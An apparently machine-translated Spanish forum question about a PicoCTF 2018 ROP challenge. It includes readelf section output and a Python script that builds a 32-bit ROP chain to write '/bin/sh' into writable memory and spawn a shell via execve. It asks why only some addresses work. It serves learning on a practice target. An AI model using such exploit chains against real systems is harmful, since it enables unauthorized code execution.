Me he encontrado con un comportamiento en un desafío CTF que me parece muy extraño y me preguntaba si alguien podría ayudarme a entenderlo.
El desafío CTF fue el desafío Can-you-gets-me en PicoCTF2018 .
Fue un desafío de ROP (32 bits), y en mi intento inicial, escribí '/ bin / sh \ x00' en un punto en medio de la sección .data
( 0x080ea6a0
), pero cuando Corrí la hazaña, tengo:
/bin/sh: 1: /bin/sh: Syntax error: word unexpected (expecting ")")
Después de buscar en línea algunas soluciones, descubrí que usaban diferentes direcciones para mí. Probé uno de ellos y descubrí que el exploit funcionaba con una dirección ( 0x80e9d60
) que no parece estar en ninguna sección.
La salida readelf
para las secciones fue:
$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .note.ABI-tag NOTE 080480f4 0000f4 000020 00 A 0 0 4
[ 2] .note.gnu.build-i NOTE 08048114 000114 000024 00 A 0 0 4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
[ 3] .rel.plt REL 08048138 000138 000070 08 AI 0 23 4
[ 4] .init PROGBITS 080481a8 0001a8 000023 00 AX 0 0 4
[ 5] .plt PROGBITS 080481d0 0001d0 0000e0 00 AX 0 0 16
[ 6] .text PROGBITS 080482b0 0002b0 07253c 00 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 080ba7f0 0727f0 000a6d 00 AX 0 0 16
[ 8] __libc_thread_fre PROGBITS 080bb260 073260 00009e 00 AX 0 0 16
[ 9] .fini PROGBITS 080bb300 073300 000014 00 AX 0 0 4
[10] .rodata PROGBITS 080bb320 073320 01a8ac 00 A 0 0 32
[11] __libc_subfreeres PROGBITS 080d5bcc 08dbcc 000028 00 A 0 0 4
[12] __libc_atexit PROGBITS 080d5bf4 08dbf4 000004 00 A 0 0 4
[13] __libc_thread_sub PROGBITS 080d5bf8 08dbf8 000004 00 A 0 0 4
[14] .eh_frame PROGBITS 080d5bfc 08dbfc 012b10 00 A 0 0 4
[15] .gcc_except_table PROGBITS 080e870c 0a070c 0000d0 00 A 0 0 1
[16] .tdata PROGBITS 080e9f5c 0a0f5c 000010 00 WAT 0 0 4
[17] .tbss NOBITS 080e9f6c 0a0f6c 000018 00 WAT 0 0 4
[18] .init_array INIT_ARRAY 080e9f6c 0a0f6c 000008 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 080e9f74 0a0f74 000008 00 WA 0 0 4
[20] .jcr PROGBITS 080e9f7c 0a0f7c 000004 00 WA 0 0 4
[21] .data.rel.ro PROGBITS 080e9f80 0a0f80 000070 00 WA 0 0 32
[22] .got PROGBITS 080e9ff0 0a0ff0 000008 04 WA 0 0 4
[23] .got.plt PROGBITS 080ea000 0a1000 000044 04 WA 0 0 4
[24] .data PROGBITS 080ea060 0a1060 000f20 00 WA 0 0 32
[25] .bss NOBITS 080eaf80 0a1f80 000e0c 00 WA 0 0 32
[26] __libc_freeres_pt NOBITS 080ebd8c 0a1f80 000018 00 WA 0 0 4
[27] .comment PROGBITS 00000000 0a1f80 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 0b0b7c 00014c 00 0 0 1
[29] .symtab SYMTAB 00000000 0a1fb8 007ec0 10 30 847 4
[30] .strtab STRTAB 00000000 0a9e78 006d04 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
Y aquí hay algunos ejemplos de direcciones que funcionaron:
-
0x080e9d60
(mencionado anteriormente) -
0x080e9ff0
(.got
) -
0x080ebd8c
(libc_freeres_ptrs
) -
0x080e9f3c
-
0x080e9f4c
-
0x080e9f4c
-
0x080ea040
-
0x080eaf60
-
0x080ebd6c
Mi pregunta es: ¿Qué es tan especial por encima de estas direcciones que permiten que funcione el exploit, mientras que las otras no? es decir, qué criterios se deben tener en cuenta para elegir una dirección para escribir datos en una hazaña?
La pila de ROP Aquí es parte del script de Python que estoy usando para generar la carga útil, para referencia:
# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60
# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret
# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'
# The buffer to overwrite with junk
payload = 'A'*28
# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)
# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)
# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)
# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)
# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)
Editar: Después de algunas investigaciones más, una posible explicación que he encontrado es que el nuevo proceso /bin/sh
sobrescribe partes de la memoria. Consulte enlace . ¿Es esa la razón?